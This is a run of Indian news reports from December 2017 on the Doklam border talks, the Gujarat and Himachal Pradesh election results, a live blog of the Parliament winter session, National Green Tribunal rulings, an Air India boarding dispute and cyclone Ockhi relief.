The 73-day military standoff at Doklam (Donglang) near the Sikkim border earlier this year will remain a big reference point at the discussion.

Thats despite the fact that foreign minister Wang Yi had a detailed discussion about it earlier this month in New Delhi with external affairs minister Sushma Swaraj.

In 2017, China-India relations have maintained a good momentum generally but the Doklam incident posed a major test for the two countries. We should learn lessons from this incident to avoid any further conflict of this kind in the future, Hua said.

She added: We should follow our historical conventions on the border to uphold the tranquility and peace in the border region as well as safeguard of the larger picture of the India-China relations.

The talks in New Delhi this week will continue from the 10th round of the Working Mechanism for Consultation and Coordination on India-China Border Affairs (WMCC), initiated in 2012 to maintain peace along the disputed border, held in Beijing in November.

Post-Donglang, discussions on the border could take a two-pronged approach, Hu Shisheng , director of the Institute of South and Southeast Asian and Oceania Studies at the China Institutes of Contemporary International Relations, told Hindustan Times.

In the settled sections, especially in the Sikkim section where the border has no dispute, we can promote physical connect, peoples interactions and trade and engagement. In the unsettled areas, crisis management is very, very important. It is unrealistic to expect a settlement in the near future, so crisis management is very important, Hu said.

During and after Doklam standoff, China had maintained that the Sikkim section of the border has been settled under the 1890 agreement between British India and Chinas Qing dynasty.

The bilateral ties after the Donglang standoff are in critical juncture. If both sides dont make further efforts, bilateral ties will further go down, Hu said.

Lan Jianxue, expert on India at the China Institute of International Studies, agreed.

China and India relations are in a critical time now, very difficult time right now. But I think it (the talks) provide an opportunity for both sides to talk to each other and to defuse the intense atmosphere between the two countries, ease the atmosphere, Lan said.

The most important issue is to ease the intense atmosphere, not allowing bilateral ties to free fall, Lan said.
India will take up at the highest level in the Pakistan government reports of Sikhs being forced to convert to Islam by a government official in Khyber-Pakhtunkhwa (K-P), external affairs minister Sushma Swaraj said on Tuesday.

Her reaction came after leading Pakistan daily The Express Tribune published a news story about the Sikh community raising serious concerns after being forced to convert to Islam by the government official in Hangu district of K-P. We will take this up at the highest level with the Government of Pakistan, Swaraj tweeted while tagging the Indian high commission.

We will take this up at the highest level with Government of Pakistan. @IndiainPakistan

Sikh community in Hangu being forced to convert https://t.co/HiWuVmBzbj  Sushma Swaraj (@SushmaSwaraj) December 19, 2017

According to the news report, the community has lodged a complaint with deputy commissioner Hangu Shahid Mehmood, claiming that assistant commissioner (tehsil) Tall Yaqoob Khan was forcing Sikhs to convert to Islam.

Replying to a separate tweet regarding a man in Punjab trying to get body of his son, who was reportedly shot dead in Manila, Swaraj said the government was seized of the case. Indian Embassy in Manila is pursuing this with the Police. The mortal remains will be sent from Manila on 21st December, she tweeted.

We are seized of this case. Indian Embassy in Manila is pursuing this with the Police. The mortal remains will be sent from Manila on 21st December. @indembmanila https://t.co/Q0VAXEZlR9  Sushma Swaraj (@SushmaSwaraj) December 19, 2017

Earlier, Punjab chief minister Capt Amarinder Singh urged Swaraj to take up with Pakistani authorities the issue of alleged forcible conversion. We are duty-bound to protect the identity of Sikhs, wherever they may be living, he said in a statement here. Religious freedom is the right of every human being and should be upheld by all countries in the larger interest of humanity, he said, adding that Swarajs intervention in the matter would help protect this basic right of the substantial Sikh community settled in Pakistan.

Request @SushmaSwaraj ji to take up this issue with Pakistan. We cannot allow the Sikh community to be victimised in such a manner. Its our duty to help protect the Sikh identity and the @MEAIndia should pursue the matter at the highest levels.https://t.co/sRFjV1pk5Q  Capt.Amarinder Singh (@capt_amarinder) December 19, 2017

Later, Shiromani Akali Dal (SAD) chief Sukhbir Singh Badal too reacted to Swarajs tweet: I thank external affairs minister Sushma Swaraj ji for taking up issue of Sikhs being coerced to convert in Pakistan. She could also press for action against guilty official. Sikhs in Pakistan have right to follow their beliefs and none can be allowed to take this away from them.

I thank External Affairs minister Sushma Swaraj ji for taking up issue of Sikhs being coerced to convert in Pakistan. She could also press for action against guilty official. Sikhs in Pakistan have right to follow their beliefs and none can be allowed to take this away from them. https://t.co/i65qxBOXBX  Sukhbir Singh Badal (@officeofssbadal) December 19, 2017

(With agency inputs)
Union minister JP Nadda and five-time legislator Jairam Thakur have emerged as frontrunners to be the next chief minister of Himachal Pradesh after Mondays shock defeat of Bharatiya Janata Partys projected CM candidate Prem Kumar Dhumal.

The BJP wrested power from the Congress, winning 44 seats in the 68-member state assembly. But the party was scrambling on Tuesday to pick a new chief minister as the 73-year-old Dhumal lost to Rajinder Singh Rana, a former protege who had joined the Congress.

Though party sources say Dhumal is not out of the running, his defeat has thrown open the leadership race and brought the spotlight on Union health minister Nadda, a Rajya Sabha member with roots in the hill state.

Naddas proximity to the party leadership is viewed as a plus point for him, though several leaders believe that the BJP top brass will choose the chief minister from among its newly elected MLAs.

Thakur and several senior BJP lawmakers in the state are also in the reckoning. A former rural development and panchayati raj minister in the state, 52-year-old Thakur and is known to be close to the Rashtriya Swayamsevak Sangh (RSS) and to BJP president Amit Shah.

Whatever the party decides, I will do. I am happy that there is going to be a BJP government in Himachal Pradesh, Thakur said on Tuesday.

Sources said his case becomes strong because the party may opt for a Thakur leader, the states dominant community. Nadda is a Brahmin.

The BJP has also been known to choose not-so-obvious candidates as chief minister in some other states. If that trend holds true, RSS pracharak Ajay Jamwal could emerge as the partys choice.

The newly elected BJP legislators and central leaders are expected to meet in Shimla to elect their leader, who would be sworn in as the chief minister. One of them, Dhumal loyalist Virender Kunwar has offered to vacate his seat for the former chief minister if he is nominated as the chief minister.

The BJP national leadership has appointed defence minister Nirmala Sitharaman and Union rural development minister Narender Singh Tomar to oversee the selection process.

It a great victory for party, and central leaders will hold consultations before the party legislators meet to elect a new leader, state party chief Satpal Singh Satti, who lost as well.

The other names doing the rounds include Mohinder Singh, who won for a seventh time, five-term legislator Rajiv Bindal, and former state BJP chief Suresh Bharadwaj and Krishan Kapoor, both elected to fourth terms.

Bhardwaj is one of the founding leaders of the BJP in Himachal Pradesh and started his career as an RSS member before joining the partys student wing, the Akhil Bharatiya Vidyarthi Parishad (ABVP).

(With agency inputs)

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The Bharatiya Janata Party has won elections in Gujarat and Himachal Pradesh on Monday, but the saffron partys seat tally took a hit in Prime Minister Narendra Modis home state. The Gujarat election results are historic. In this day and age, for a party to keep winning for so long is unprecedented, said Modi, thanking the voters in Gujarat for backing the BJP to a sixth consecutive term.

The Election Commission said the BJP won 99 seats in the 182-member Gujarat assembly, more than the majority mark of 92 needed to form a government. But it lost 16 seats compared to the 2012 polls.

The BJP also defeated the Congress in Himachal by winning 44 out of the 68 seats. The BJP has deputed observers for Gujarat and Himachal Pradesh to oversee the selection of chief ministers in the two states.

Round-up of the Hindustan Times coverage of Gujarat, Himachal verdict

Here are highlights from the day after the Himachal and Gujarat election results:

7.05pm: Samajwadi Party president Akhilesh Yadav said the Gujarat assembly poll results were indicative of the beginning of the end of the Bharatiya Janata Party.

6.59 pm: The new BJP government in Gujarat is likely to be sworn in on December 25, party sources said.

Due to the thin margin of victory this time, the party leadership may think of changing the chief minister, sources said.

5. 40 pm: Rahul Gandhi campaigned with dignity and humbly accepted defeat after the results: Anand Sharma

5.30 pm: PM and entire cabinet was there. BJP campaigned at a scale which was never witnessed before. Still their voting share went down by 11%, we gained 2/3rd majority in rural Gujarat including Saurashtra, though not much in urban area: Congress leader Anand Sharma

3:28 pm: Himachal Pradesh CM Virbhadra Singh tenders resignation, a day after his Congress party managed to bag only 21 seats in the 68-member assembly.

3.24 pm: Credibility of Congress and Rahul Gandhi is at an all time low, while PM Modis credibility is at an all time high not just in India but globally: Union minister Ananth Kumar on RahulGandhis remarks.

2.30pm: The BJPs Prakash Javadekar responds to Rahul Gandhis remarks on PM Modi:

--In illusion only you can enjoy defeat as a victory, says Javadekar on Gandhis major jolt to BJP remark.

--What they are saying is an insult to the peoples verdict. This reflects dynastic arrogance.

--The (Rafale) deal that we struck; they think it is corruption. This was a trend during the UPA tenure, it has changed now. Rafale is an example of transparency. Its a government-to-government deal.

--People who were involved in Bofors (scam), they will not understand this transparent process.

--They also spoke about Jay Shah... He tried to do business according to rules. And he faced losses. Those who think turnover is profit, what do we say about them... He didnt get any government favour.

--In case of (Robert) Vadra -- he bought Rs 8 crore land from a person who gave him a Rs 8-crore loan. And when the Rs 8 crore lands value goes up to Rs 50 crore in three months, its called a scam.

--I was amused to hear Rahul Gandhi saying there was a jolt to the BJP. We have won Himachal, the Congress has lost. The jolt is for the Congress.

--Out vote share has increased. They tried divisive politics.

--Let the Congress say in which state they have 49% vote share.

--NDA is in 19 states. The Congress is nowhere; they are receding. They dont bother about losing; and they say its a jolt.

He (Gandhi) said Modi jis credibility has taken a hit. Absolutely not. Modi jis credibility is increasing day in and day out. Yesterday, he constantly reminded everyone that our mission is development.

-- The Congress is losing its credibility all over... He (Gandhi) is speaking as if they have won and we have lost.

1.02pm: Congress president Rahul Gandhi speaks on the Gujarat and Himachal election verdicts:

-- Three-four months back, when we went to Gujarat, it was said the Congress party couldnt fight the BJP. We did solid work for three-four months. Not just me, the AICC team and others. This is a massive jolt to the BJP

-- I found out people dont believe in Modi jis Gujarat model. Its hollow.

-- The campaign that we carried out, he (Modi) couldnt answer the questions.

-- We could have won; there were some deficiencies.

-- Normally, a political leader visits -- like in Gujarat -- and thinks he will give the place his message. In 3 months, the people of Gujarat taught me a lot. The main thing was: however much anger, money and force you have, it can be fought with love.

-- What you saw in Gujarat elections... this is not my work. Gujarat has given Modi ji and BJP a message -- the anger you have will not come in handy.

-- Modi said this was an election fought on development; this was a stamp on the GST. But in his campaign, there was not talk of GST and demonetisation

-- There is a big question on Modi jis credibility. He has a credibility problem.

-- What he is saying, his organisation is repeating but the nation is not listening to it.

-- He (Modi) spoke about corruption non-stop. Why doesnt he talk a word about Rafale and Jay Shah?

12.53pm: There is a question on Modi jis credibility, says Congress president Rahul Gandhi

12.52pm: Gujarat has given a message to Modi ji  the anger they have will not work for them; love will defeat it, says Congress Rahul Gandhi

12.20pm: The BJP made a narrow escape. If a little more anger would have transformed into votes, the results could have been different, says Akhilesh Yadav on the BJPs Gujarat win.

11.26am: The BJPs win in Gujarat, its lowest victory margin in 22 years, is likely to have an impact on the political dynamics in Maharashtra. The victory comes with a message for the chief minister Devendra Fadnavis, who is battling an agrarian crisis in his backyard as well as a troublesome ally. Full story

11.10am: In Himachal Pradesh, one party unseats the other every five years; it is nothing new. Not taking names, but if some people wouldnt have said certain wrong things, the Congress would have won in Gujarat. They managed a good show there, says Farooq Abdullah.

11.09am: The BJP has a comfortable lead in terms of both vote share and seat share in the Gujarat election results. This does not mean that Gujarat 2017 was not a closely contested election. Here are four charts that prove this.

11am: People of Gujarat have spoken in a clear voice - they stand for development, tweets PM Modi.

10.47am:

What a suitable lesson to those who played dirty caste politics! Congress outsourced itself to those elements but at what cost?  Kiren Rijiju (@KirenRijiju) December 19, 2017

10.30am: Buoyed by the BJPs electoral success in Gujarat and Himachal Pradesh, the Sensex rallies 143 points.

9.47am: The Shiv Sena says the Gujarat model of development has been shaken. Prime Minister evoked Gujarati identity, Pakistan, Hindu-Muslim in his campaigning but nobody talked about the so called development that has taken place in past 22 years, says Saamana, the Senas mouthpiece.

9.35am: Whatever the party will decide I will do. I am very happy that there is going to be BJP government in Himachal Pradesh. The party will improve the law and order situation in Himachal Pradesh, says BJP leader Jairam Thakur.

9.30am: The BJP has deputed observers for Gujarat and Himachal Pradesh to oversee the selection of chief ministers in the two states. Union finance minister Arun Jaitley and party general secretary Saroj Pandey have been sent to Gujarat, while defence minister Nirmala Sitharaman and minister of steel Narendra Singh Tomar will be in Himachal Pradesh to attend the meeting of legislature parties in the two states.
Madhya Pradesh home minister Bhupendra Singh on Tuesday apologised on Twitter after he made the name of a minor rape and murder victim public on the social media platform.

Singh tweeted on Monday evening that a complaint regarding the rape and murder of a Class 7 student at Sundrel village in Dewas district was received by the police in November. He added that instructions were issued to the police to take prompt action in the case. The accused Lokesh was arrested and sent to jail.

However, the home minister also revealed the name of the minor girl in his tweet. The identity of a rape victim cannot be disclosed and those guilty of doing so face punishment under section 228-A of the Indian Penal Code.

Singh later deleted his tweet.

He tweeted his regret after the screenshot of his post went viral on social media. The minister said in his tweet on Tuesday that his ministry runs a separate public grievance cell to redress the grievances of people through social media.

Isi cell k eek karmachari ne trutivash peedit balika ka naam sarvjanik kar diya. Uss karmachari ko tatkaal cell se hata diya gaya hai. Mujhe is truti ke liye khed hai (An employee of the cell revealed the name of the victim inadvertently. The employee was immediately removed from the cell. I regret the error), Singh wrote.

The 12-year-old girl was found dead in a semi-naked state in an agriculture field outside her village on November 5. She had stepped out of her house in the evening on November 4 to give tea to her father working in his field.

The autopsy report suggested that she was raped before being killed.

Madhya Pradesh topped again the crime chart of the country on rapes as per National Crime Record Bureau (NCRB) 2016 report which was made public recently.

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A robust election campaign led by Prime Minister Narendra Modi that effectively tapped into the undercurrent of anti-incumbency against the Congress worked for the Bharatiya Janata Party in Himachal Pradesh.

While the party was expected to beat the faction-ridden Congress in the state where governments have traditionally changed every five years, the scale of its victory  44 out of 68 assembly seats  reflects a groundswell of support. It is also a huge morale booster ahead of the assembly elections in key states such as Madhya Pradesh, Rajasthan and Karnataka, next year.

The resounding triumph has come in the face of a high-decibel campaign run by the Congress against the goods and services tax (GST), derisively dubbed as Gabbar Singh Tax by then Congress vice-president Rahul Gandhi (now president), and demonetisation. Besides giving a push to Modis economic reforms agenda, it also means the party has wrested another state from the Congress, further expanding its political footprint.

Himachal connect

Modi, who is ably backed by BJP president Amit Shahs micro-management skills, is being credited for the partys comeback in the hill state. A master of rhetoric, Modi, who was party affairs in-charge here about two decades ago, knows the political pulse of the state. He targeted chief minister Virbhadra Singh on corruption and misgovernance, using innuendo and sarcasm.

Modi addressed half-a-dozen well-attended rallies, playing on his connect with the people. However, the strike rate in assembly segments where his rallies were organised may not please the PM as the party candidates failed to win their seats in half of them.

All guns blazing

The BJP also drafted most of its big guns from the start. Campaign rallies were addressed by Shah, central leaders Rajnath Singh, Nitin Gadkari and Smriti Irani, besides chief ministers Yogi Adityanath and Trivendra Rawat.

The blitzkrieg overshadowed the Congress, capturing the imagination of change-hungry voters in the state. The ruling partys campaign was led by the six-time chief minister  the oldest candidate in the fray  with most of his ministerial colleagues and other state leaders, including Himachal Pradesh Congress Committee president Sukhvinder Singh Sukhu, remaining confined to their constituencies.

Unlike the BJP, the Congress central leaders played the supporting cast and left the chief minister on his own. While Rahul Gandhi held only three rallies towards the closing stages of the campaign, several others did not go beyond Shimla. Virbhadra did put up a spirited fight, but it was not enough to counter its rivals formidable election machinery.

Quick thinking

The BJP was also quick on its feet, changing strategy. The party leadership had decided not to name the CM candidate as there were multiple aspirants. It did not want a repeat of 2012 when infighting between Dhumal and Shanta Kumar, a veteran leader, saw rebel candidates in 18 constituencies and derailed the campaign. When Virbhadra, who was named by the Congress as its CM face, repeatedly raked up its failure to announce an alternative face, the party changed tack, declaring Dhumal as the pick.

However, that strategy did not work, as Dhumal lost from Sujanpur to his one-time lieutenant-turned-rival Rajinder Rana even though the party scored a spectacular win. Earlier, Shah had pressed into service his troubleshooters such as Thawar Chand Gehlot, Mangal Pandey and JP Nadda to placate the rebels and prompt action was taken against those who did not fall in line.

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The National Green Tribunal (NGT) will face an unprecedented staff crunch when its chairman, Justice Swatanter Kumar, retires on Tuesday.

Though the green tribunal was launched with seven benches across the country upon its creation in 2010, the number has essentially come down to just two  a principal bench in Delhi and another in Bhopal. Nevertheless, even with the depleted resources at its disposal, the Justice Kumar-led tribunal managed to deliver a series of landmark verdicts over the last two years. Highlights:

Capital ban on old vehicles

On April 7, 2015, the NGT ordered that all diesel vehicles over 10 years old will not be permitted to ply in Delhi-NCR. On November 26, 2014, it had banned plying of all diesel or petrol vehicles that were more than 15 years old.

Ganga rejuvenation

The tribunal passed a slew of directions to rejuvenate the Ganga in July 2017, declaring an area of 100 metres from the edge of the Haridwar-Unnao stretch as a no-development zone and prohibiting waste from being dumped within 500 metres.

Maili se Nirmal Yamuna Revitalisation Project

In January 2015, the principal bench passed a slew of directions  including the imposition of a Rs 5,000-fine on people found throwing waste or religious items into the river  as part of its Yamuna rejuvenation plan. It also banned dumping of construction material into the river and imposed a fine of Rs 50,000 on violators. The tribunal also restrained real estate developers from carrying out construction work on the floodplains.

Ban on plastic items

The NGT, in August, imposed an interim ban on plastic bags of less than 50-micron thickness in Delhi because they were causing animal deaths, clogging sewers and harming the environment. A ban on plastic items near the Ganga was also passed recently, while a similar ban was ordered at Chandigarh in 2015.

Restricting traffic to Rohtang

The green court in 2015 ordered that only 800 petrol and 400 diesel (total 1,200) vehicles will be permitted to drive up to Rohtang Pass in Himachal Pradesh every day. This is believed to have cleaned the environment but impact the livelihoods of local residents.

Diktat against stubble burning

In December 2015, the NGT prohibited agricultural residue burning in any part of Delhi, Rajasthan, Haryana, Punjab and Uttar Pradesh, and directed the states to provide the farmers with monetary and technical aid for extracting agricultural residue that can be used as industrial fuel. Justice Swatanter Kumar also rapped the Punjab government for failing to curb crop burning through the provision of incentives.

Cap on number of Vaishno Devi pilgrims

The NGT on November 12 capped the number of pilgrims visiting the Vaishno Devi shrine in Jammu and Kashmir to 50,000 a day. If that number is exceeded, they could be stopped either at Ardhkumari or Katra, the green tribunal ruled.

Silence at Amarnath

The NGT on December 13 declared the Amarnath cave shrine in south Kashmir as a silence zone, and prohibited religious offerings beyond the entry point. Following protests, it clarified that no restriction has been imposed on chanting of mantras and singing of bhajans inside the shrine.

The Art of Livings World Culture Festival verdict

The green tribunal, on December 7, held the Art of Living Foundation responsible for the damage caused by the World Culture Festival to the Yamuna floodplains in 2016. The order stated that the Rs 5-crore fine paid by the organisation will be used for restoration work by the Delhi Development Authority.
The ongoing winter session of Parliament on Tuesday took up for discussion a bill on autonomy of the Indian Institutes of Management (IIMs). The bill was passed by the Rajya Sabha in the evening.

The Parliament session resumed a day after the Congress demanded an apology from Prime Minister Narendra Modi for insinuating his predecessor Manmohan Singh colluded with Pakistan in the Gujarat polls.

The winter session began on December 15 and it will conclude on January 5 next year.

Highlights:

6.33pm: Rajya Sabha adjourned for the day.

6:20pm: The Indian Institutes of Management Bill 2017 that provides autonomy to IIMs passed by Parliament.

6:14pm: Jairam Ramesh asks HRD minister to select members of the board of governors on the basis of academic and professional qualification, and there should be no political affiliation.

6:12pm: Jairam Ramesh of the Congress asks HRD minister if the existing board of governors will be recast when the IIMs get autonomy.

6:09pm: Lok Sabha adjourned for the day.

6:08pm: In Lok Sabha, Union minister of state for housing and urban affairs Hardeep Singh Puri tables amendment bill on real estate acquisition.

6:06pm: D Raja asks HRD minister Javadekar to ask cabinet to approve 10-15% of the GDP to be spent on education.

6:05pm: D Raja of the CPI asks government how will it ensure representation of Scheduled Castes, Scheduled Tribes and Other Backward Classes in the governing bodies of the IIMs.

5:55pm: BJD member Prasanna Acharya seeks autonomy for AIIMS and AIIMS-like institutions.

5:50pm: There are hundreds of private B-schools in India, and the government should also look into the functioning of these institues, says BJD member from Odisha Prasanna Acharya.

5:46pm: AIADMK Puducherry MP N Gokulakrishnan seeks IIMs in more states.

5:43pm: In Rajya Sabha, Trinamool Congress member from West Bengal M Nadimul Haque asks government to reconsider the financing structure of the IIMs.

5:38pm: Nitin Gadkari says that while working on new highways and waterways, the government needs to think about the environment too.

5:37pm: Nitin Gadkari says work on 10 news waterways will be completed by 2018.

5:35pm: Nitin Gadkari says work is on to build a river traffic control system between Haldia and Patna.

5:33pm: In the Lok Sabha, road transport, highways and shipping minister Nitin Gadkari replies to questions on water transport.

5:30pm: The government needs to improve the quality of education to such an extent that graduates can be assured that after getting degrees from colleges, they will get jobs, says Naresh Agarwal.

5:28pm: India spends only 1% of its GDP on education, while other countries spends more than 3%. The government needs to reply what has it done to improve the quality of education, asks Naresh Agarwal.

5:25pm: Naresh Agarwal criticises move to rename Dyal Singh College as Vande Mataram Mahavidyalaya.

5:23pm: In a country where 70%people live in villages, and only around 3%people are able to speak English, what has the government done to improve quality of education in villages, asks Naresh Agarwal.

5:22pm: Samajwadi Partys Naresh Agarwal says the quality of engineering education has come down to such a level that graduates are finding it difficult to get decent jobs.

5:20pm: Lok Sabha discusses The Central Road Fund Amendment Bill 2017.

5:20pm: Naresh Agarwal says the government has taken three and a half years to make such a move on autonomy.

5:19pm: Samajwadi Partys Naresh Agarwal lauds the governments move for autonomy to IIMs, asks why has the government ignored the UGC and the IITs.

5:15pm: IIMs can also introduce a course on judicial management, says BJP member Sahasrabuddhe. Says IIMs need to develop more specialised courses.

5:14pm: Vinay Sahasrabuddhe says there are thousands of temples in India, and IIMs can introduce a course on temple management.

5:09pm: BJP member Vinay Sahasrabuddhe says it is high time the authorities revisit the syllabus of IIMs. Says the students can speak and present themselves properly and know everything about modern technology, but they need to be nurtured as future leaders.

5:05pm: In Rajya Sabha, BJP member Vinay Sahasrabuddhe praises new bill on IIMs, says it reflects the Narendra Modi governments policy on minimum government, maximum governance.

5:03pm: Rajeev Gowda asks government not to completely let go of the IIMs, asks government to continue nurturing these institutes.

4:55pm: Dushyant Chautala raises issue of a toll-free India, where people do not have to pay toll tax on any road.

4:54pm: In Lok Sabha, INLD member Dushyant Chautala raises issue of decreasing water in rivers, says government needs to focus on peoples water needs.

4:52pm: Rajeev Gowda raises issue of inclusion and diversity in higher institutes.

4:47pm: Rajeev Gowda also praises new IIM bill for having a clause on fixing fee for students, saying there was great inequality earlier.

4:46pm: MV Rajeev Gowda praises bill for proposing to have branch campuses for the IIMs, even outside India.

4:39pm: Congress member MV Rajeev Gowda praises bill on IIMs, calls it pioneering.

4:34pm: HRD minister Javadekar says there will be no governmental or bureaucratic interference in the functioning of IIMs.

4:30pm: Prakash Javadekar says government power on IIMs will be withdrawn, so that the institutes can perform better.

4:25pm: Human resource development minister Prakash Javadekar tables bill on national importance to IIMs.

2:50pm: Lawmaking should be the power of Parliament: Ravi Shankar Prasad, Union law minister

2:50pm: Rajya Sabha takes up Companies Amendment Act 2017, with Congress leader P Chidambaram arguing it transfers legislative powers to the executive.

2:14pm: The aim was to get rid of archaic acts, says Meenakshi Lekhi on an amendment bill introduced by the government.

2:11pm: Law minister Ravi Shankar Prasad tells parliamentarians the government has abolished 1,183 outdated laws since Prime Minister Modi came to power.

2pm: After an hour-long break, the Upper and Lower Houses resume discussions.

1pm: Both Houses adjourn till 2 pm for break.

12:55pm: Will bring the issue of alleged pollution of Brahmaputra river by China to the highest level, says BJPs Anand Sharma in Lok Sabha after Bhartruhari Mahtab (BJD) raises the issue of increased level of pollutants in the river.

Brahmaputra, also known as Siang, which flows into Arunachal Pradesh from south Tibet in China before flowing through Assam. Bijoya Chakravarty (BJP), who hails from Assam, also joined him and asked the government to take up the matter with China.

12:50pm: Jaitley responds, saying the government is in favour of bringing petroleum products under GST and would wait for consensus of the states. Yes, we are equally concerned about petrol prices... a large part of taxes on petrol are state taxes and many BJP-ruled states brought down the prices. The UPA state, however, didnt.

12:48pm: Congress stages walkout from the Lok Sabha over PM Modis earlier remark on former PM Manmohan Singh.

12:45pm: P Chidambaram questions government what prevents it from adding petroleum products under GST. Now that BJP is in power in 19 states and at the Centre what prevents them from bringing petroleum products under GST? When will the GST Council take up this subject.

12:40pm: Topic of discussion shifts to GST Council. Finance minister Arun Jaitley answers questions.

12:17pm: Will certainly invite all my colleagues, including leader of the opposition and try and discuss, find a solution to the issue: Union finance minister Arun Jaitley amid Congress uproar in Rajya Sabha.

12:15pm: MPs agree to take the issue of Modis allegations against Manmohan Singh outside the House.

12:10pm: RS chairperson Venkaiah Naidu firmly asks parties to keep the sanctity of the House and suggests the parties should meet outside to discuss Congress displeasure over allegations against Manmohan Singh.

12:04pm: Ruckus in Rajya Sabha after MPs protest as Ghulam Nabi Azad starts talking about Manmohan Singh. His loyalty to the country has been questioned.

12pm: Lok Sabha session resumes.

Party will decide who will become the chief minister in both Gujarat and Himachal Pradesh: Union Minister of Parliamentary Affairs Ananth Kumar pic.twitter.com/rHiLENrmAh  ANI (@ANI) December 19, 2017

11:45am: Issue of special courts for criminal netas raised in Rajya Sabha, Congress MP Anand Sharma says, The government should ensure allocation of adequate funds for setting up enough number of courts so that people do not remain in prison for long periods and the trial is done.

Read | Arun Jaitley defends special courts to deal with cases against lawmakers

11:40am: Congress Rajya Sabha MP Pratap Singh Bajwa raises the issue of financial help for farmers to prevent stubble burning, says should be done this year itself

11:36am: Lok Sabha has been adjourned till noon amid protests by Opposition.

11:33am: Sumitra Mahajan appeals to protesting parliamentarians to stop making a ruckus in the Lok Sabha.

11:31am: Vivek Gupta, of AITC, asks a question about the governments plans to reduce stubble burning and air pollution in Delhi-NCR region. He says in the Upper House that it is an issue that impacts everyone.

11:30am: BJP leader Parvesh Sahib Singh says in Lok Sabha terrorism will go down in the country if BJP is elected to power repeatedly.

11:25am: Law should be for everybody, legislators alone should not be singled out: Congress Ghulam Nabi Azad says in Rajya Sabha on special courts for politicians.

11:20am: Rajya Sabha debates about the special courts set up to try cases against politicians.

11:15am: MB Rajesh, CPI(M) leader, speaks about ease of doing farming in India and the rate of growth of Minimum Support Price in the country. Will the govt implement Swaminathan boards recommendation in a time-bound manner?

11:12am: In Rajya Sabha, Trinamool Congress leader Derek OBrien brings up the issue of FRDI Bill.

11:10am: Parliamentary affairs minister Ananth Kumar appeals to Congress leaders to go back to their seats and participate in the Question-Answer round instead of gathering in the Well of the House.

Congress responds with loud slogans.

11:06am: Opposition leaders chant slogans in Lok Sabha, demanding that Prime Minister Modi apologise to Manmohan Singh.

11:04am: Lok Sabha speaker Sumitra Mahajan says to protesting parliamentarians the election has ended and the results or politics shouldnt spill into the House.

11am: Rajya Sabha begins proceedings, starting with obituary references. The Question Hour round begins in the Lower House of Parliament.
A wheelchair-bound passenger on Tuesday alleged he was not allowed to board an Air India flight from Bengaluru to Kolkata on December 17 as he had declined to remove wires from the battery of his wheelchair.

Kaushik Majumdar, an associate professor at Indian Statistical Institute (ISI), told PTI that the battery is disconnected every time the wheelchair is loaded in the aircraft and this time too he disconnected it.

Some weird staff, however, insisted on removing all the wires from the battery, which would have completely ruined the equipment, on which I depend, he said, adding, he declined to do so.

Majumdar said he never faced this situation since he started travelling by Air India after joining the ISI as a faculty member in 2009.

My electric wheelchair is always loaded in the cargo hold and this time too it was to be loaded there.I never asked for its loading inside the passenger area, he said.

In all airlines including Air India, disconnecting the battery from the wheelchair joystick controller is enough, Majumdar said.

Why then an exception was made in AI 776 on December 17? Who are responsible? I want an answer, he said, adding that the chair had cleared security smoothly.

The airline however said Majumdar had not adhered to safety protocol.

Air India general manager for corporate communications GP Rao said no passenger can violate the Directorate General of Civil Aviations norms and safety of passengers was very important.

The passenger (Majumdar) had promised to remove the battery at the boarding gate, but refused to do it when he reached there, he said.

Subsequently, the pilot was informed about it and he took a call not to allow the passenger in the aircraft, Rao added.
Prime Minister Narendra Modi on Tuesday held a meeting with chief minister K Palaniswami on the post-Ockhi situation here, during which Tamil Nadu sought a Rs 9,300-crore package, including Rs 4,047 crore for the districts hit by the Northeast Monsoon.

Modi, who visited Lakshadweep earlier in the day to review the situation after Ockhi hit the Union Territory, also met families of fishermen and representatives of the farmers community, who were badly affected by the cyclone which hit the state shores on November 29-30.

As many as 25 fishermen representatives from eight coastal villages of Kanyakumari district, including Thoothoor, Neerodi, Marthandam Thurai, Poothurai, Chinnathurai and Raviputhanthurai took part in the discussions at the government guest house here.

Modi also met Catholic priests, who were also present during the over 90 minute-long meeting with Palanisamy, his deputy O Panneerselvam among others.

The prime minister was also shown pictures of the devastation caused by the cyclone.

Modi took a helicopter from Thiruvananthapuram to reach Kanyakumari.
Prime Minister Narendra Modi on Tuesday assured cyclone-affected families that his government is committed to alleviate their sufferings and will do everything possible to locate the missing fishermen.

Meeting aggrieved family members in Poonthura, a fishing hamlet on the outskirts of Kerala capital, the PM said the ongoing operation of joint forces will continue and the embassies of neighbouring countries have been alerted to help locate those who strayed into their waters.

The nation is with you. We will do everything to address your woes. The rescue operation is still on and we will try our best to bring those missing before Christmas, he said. He heard some of fishermen patiently even as Union tourism minister K J Alphons translated their complaints to him.

Striking a personal tone, the PM said his presence at the affected village was a testimony to the fact that the government was with the community at this juncture of loss and grief. I am here to share your loss and suffering. The Centre will do everything to help you, he said. Later he chaired a meeting with chief minister Pinarayi Vijayan and his cabinet colleague at the state guest house.

On a whirlwind tour, the PM first visited Lakshadweep islands. Later he proceeded to Kanyakumari district in Tamil Nadu. The Tamil Nadu government has submitted memorandum seeking an aid of Rs 9,302 crore towards relief and rehabilitation and urged him to declare cyclone a national disaster.

The farmers of the region also met the PM and appraised him of the severe agrarian crisis in Tamil Nadu and delta region.

The cyclone that battered Tamil Nadu and Kerala on November 29 and had a landfall in Lakshadweep on December 2 claimed 85 lives  71 in Kerala and 14 in Tamil Nadu. More than 600 fishermen are still missing.
The Gujarat verdict has come as a shot in the arm for the Congress but it has also put forth vital lessons for party president Rahul Gandhi , which he can use to revitalise the grand old party across the country.

The Congress has often been described as a status-quoist party and its leadership has come under flak for delaying the decision-making process and prolonging organisational restructuring.

The party brass did not carry any organisational overhaul after suffering its worst ever electoral hammering in the 2014 Lok Sabha elections. In the past few months, Rahul has made some piecemeal changes but those have failed to evoke much enthusiasm among the cadre at the ground level.

The indecisiveness has cost the Congress dear in many states to the extent that the party organization is hardly visible in many states like Madhya Pradesh, Odisha, Bihar, Uttar Pradesh, Tamil Nadu, West Bengal and Andhra Pradesh.

Madhya Pradesh along with Chhattisgarh and Rajasthan will go to polls by late 2018 and witness a direct fight between the ruling BJP and the Congress.

Rahul held a series of consultations in the past few months with leaders from Odisha, Madhya Pradesh and Bihar but a decision on the possible change of guard in these states is still pending.

A similar situation was witnessed in Punjab where the Congress leadership took nearly a year to decide whether to hand over the reins to Captain Amarinder Singh or continue with Partap Singh Bajwa. After several rounds of negotiations, Amarinder was finally given the charge.

A year later, the Congress defeated both the ruling Shiromani Akali Dal-BJP combine and a resurgent Aam Aadmi Party (AAP) in the February 2017 elections to regain power in Punjab under Amarinders leadership.

